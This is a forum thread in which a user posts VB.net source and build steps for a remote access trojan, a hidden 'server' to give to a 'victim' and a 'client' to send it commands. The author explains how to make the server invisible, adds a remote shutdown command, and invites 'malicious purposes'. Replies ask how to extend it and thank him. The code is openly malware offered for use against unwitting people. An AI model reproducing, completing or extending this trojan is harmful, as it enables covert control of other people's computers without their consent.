Results 1 to 9 of 9

Hybrid View

  1. #1
    Bombsaway707's Avatar
    Join Date
    Jun 2009
    Gender
    male
    Location
    Gym
    Posts
    8,799
    Reputation
    791
    Thanks
    4,004
    My Mood
    Amused

    [Source Code]RAT Client/Server

    Server
    This is the file you will give to your victim.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Step 1: If not already installed then install VB.net(2008 or 2010 both work)
    Step 2: Create A Project Called "RAT Server"
    Step 3: In form settings change the following: Set the foll form opacity at 0% to make it invisible to your victim. Show in task bar = false
    Step 4: Double Click the form, then delete all coding you see and insert the following:
    Code:
    Imports System.Net
    Imports System.Net.Sockets
    Imports System.IO
    Imports Microsoft.Win32
    Public Class Form1
        Dim port As Integer = 6961
        Dim sock As New TcpClient()
        Dim tcpc As New TcpListener(port)
        Private Sub listen()
            Try
                tcpc.Start()
                sock = tcpc.AcceptTcpClient()
            Catch ex As Exception
            End Try
        End Sub
        Private Sub check()
            If sock.Connected = True Then
                sock.SendTimeout = 5000
                Try
                    Dim nstream As NetworkStream = sock.GetStream
                    Dim bit(sock.ReceiveBufferSize) As Byte
                    nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                    Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
                    Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
    
    
                    If id(0) = 0 Then
                        Dim stri As String = id(1)
                        MessageBox.Show(stri)
                    End If
                Catch ex As Exception
                    check()
                End Try
            End If
        End Sub
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            While sock.Connected = False
                Try
                    listen()
                Catch ex As Exception
                End Try
            End While
    
            While True
                check()
            End While
        End Sub
    End Class
    Now the messagebox.show("stri") shows whatever info you send to them, Specifically "stri" is the data that you send to them. You can modify this for "malicious purposes" such as the following code:
    Code:
    If stri = "Shutdown" then
    shell("shutdown -s")
    end if
    That says if you send "Shutdown" to them their computer will turn off. You need to have some VB experience to use this.

    Client
    This is the file you will use to send commands to your victims.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Step 1: If not already installed then install VB.net(2008 or 2010 both work)
    Step 2: Create a project called "RAT Client"
    Step 3: Make the form look like this:

    1 label, 2 textboxes, 2 buttons(make sure your buttons/textboxes names correspond to the ones in the pic)
    Step 4: Double Click the form, then delete all coding you see and insert the following:
    Code:
    Imports System.Net
    Imports System.Net.Sockets
    Public Class Form1
       Imports System.Net
    Imports System.Net.Sockets
    Public Class Form1
        Dim sock As New TcpClient()
        Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
        Dim port As Integer = 6961
        Private Sub connect()
            ip = IPAddress.Parse(TextBox1.Text)
            port = 6961
            Try
                sock.Connect(ip, port)
    
            Catch ex As Exception
                MsgBox("Can not connect to designated ip at this time")
            End Try
        End Sub
        Private Sub dat(ByVal dat As String)
            Dim nstream As NetworkStream = sock.GetStream()
            Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
            nstream.Write(bit, 0, bit.Length)
        End Sub
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            Call connect()
        End Sub
    
        Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
            dat("0*" + TextBox2.Text)
        End Sub
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    
        End Sub
    End Class
    In textbox1 type in the Victim's IP, if you do not have means of getting your Victims IP i will be posting a way with VB.net later, then hit connect. If no error shows up that means your connected. Then type your commands in textbox2 and hit send to send the command to your victim.

    If you have any questions PM me, enjoy!
    Last edited by Bombsaway707; 02-05-2011 at 06:24 PM.

  2. The Following 7 Users Say Thank You to Bombsaway707 For This Useful Post:

    1337hacker (02-10-2011),Almightynub (08-01-2011),Amkay (06-09-2012),Drake (02-09-2011),House (02-24-2011),Lyoto Machida (02-09-2011),Tony Stark` (02-05-2011)

  3. #2
    Tony Stark`'s Avatar
    Join Date
    Nov 2009
    Gender
    male
    Location
    Chicago
    Posts
    5,365
    Reputation
    212
    Thanks
    459
    im attempting to make right now

  4. #3
    pered's Avatar
    Join Date
    Dec 2008
    Gender
    male
    Location
    Norweh'
    Posts
    52
    Reputation
    10
    Thanks
    16
    My Mood
    Cold
    Look good!
    But correct me if I'm wrong, this will only let me Connect to the server, right? and if I write
    Code:
    If stri = "Shutdown" then
    shell("shutdown -s")
    end if
    after

    Code:
                    If id(0) = 0 Then
                        Dim stri As String = id(1)
                        MessageBox.Show(stri)
    so it looks like

    Code:
                    If id(0) = 0 Then
                        Dim stri As String = id(1)
                        MessageBox.Show(stri)
                        If stri = "Shutdown" Then
                            Shell("shutdown -s")
                        End If
                    End If
    I can shut down the servers computer?

    This also means I will have to find (or make, I could just aswell learn Vb.net since I wanna do some research on this anyway) code for doing other stuff?

    This is what I've understood from your post, I just want to confirm that it is what you actually meant.

    Thanks for the source!!
    ------------------------
    Haven't got Photoshop and can't be bothered to get it, so screw the bloody images etc..
    ------------------------
    Leecher since 2008 and proud of it!

  5. #4
    Bombsaway707's Avatar
    Join Date
    Jun 2009
    Gender
    male
    Location
    Gym
    Posts
    8,799
    Reputation
    791
    Thanks
    4,004
    My Mood
    Amused
    Quote Originally Posted by pered View Post
    Look good!
    But correct me if I'm wrong, this will only let me Connect to the server, right? and if I write
    Code:
    If stri = "Shutdown" then
    shell("shutdown -s")
    end if
    after

    Code:
                    If id(0) = 0 Then
                        Dim stri As String = id(1)
                        MessageBox.Show(stri)
    so it looks like

    Code:
                    If id(0) = 0 Then
                        Dim stri As String = id(1)
                        MessageBox.Show(stri)
                        If stri = "Shutdown" Then
                            Shell("shutdown -s")
                        End If
                    End If
    I can shut down the servers computer?

    This also means I will have to find (or make, I could just aswell learn Vb.net since I wanna do some research on this anyway) code for doing other stuff?

    This is what I've understood from your post, I just want to confirm that it is what you actually meant.

    Thanks for the source!!
    The messagebox.show(stri) is not needed, that (if included) would just pop up with a messagebox saying what you sent. And yes, to insert more malicious commands you would have to learn some VB.net

  6. #5
    GTRevolution's Avatar
    Join Date
    Dec 2010
    Gender
    male
    Posts
    91
    Reputation
    10
    Thanks
    5
    thanks man this is good! i wont use it but its good!

  7. #6
    hackzerz's Avatar
    Join Date
    Apr 2010
    Gender
    male
    Location
    $T4Lk much?
    Posts
    1,450
    Reputation
    18
    Thanks
    159
    My Mood
    Sneaky
    sweet
    can u release this plz :P
    (as in upload the .vb)

  8. #7
    Lyoto Machida's Avatar
    Join Date
    Jan 2011
    Gender
    male
    Location
    Far away with girls
    Posts
    3,734
    Reputation
    133
    Thanks
    1,621
    My Mood
    Aggressive



    Code:
    Dim MyName As MyMPGHName
    MsgBox(MyName)
    This is awesome!




  9. #8
    hackzerz's Avatar
    Join Date
    Apr 2010
    Gender
    male
    Location
    $T4Lk much?
    Posts
    1,450
    Reputation
    18
    Thanks
    159
    My Mood
    Sneaky
    guys i have a problem :/ idk what it is tho lol
    the client wont work

  10. #9
    ғᴜᴋᴏᴊʀ's Avatar
    Join Date
    Jul 2010
    Gender
    male
    Posts
    1,557
    Reputation
    87
    Thanks
    141
    My Mood
    Inspired
    Too bad this isn't in C++. I would go all out with the Fuck_Computer Class <3 So funnnny


    [IMG]https://i186.photobucke*****m/albums/x253/Rypleys/MNC/biohazard2.jpg[/IMG]

    MPGH in 5 words:

    Quote Originally Posted by ZEROProJect View Post
    1 in a million community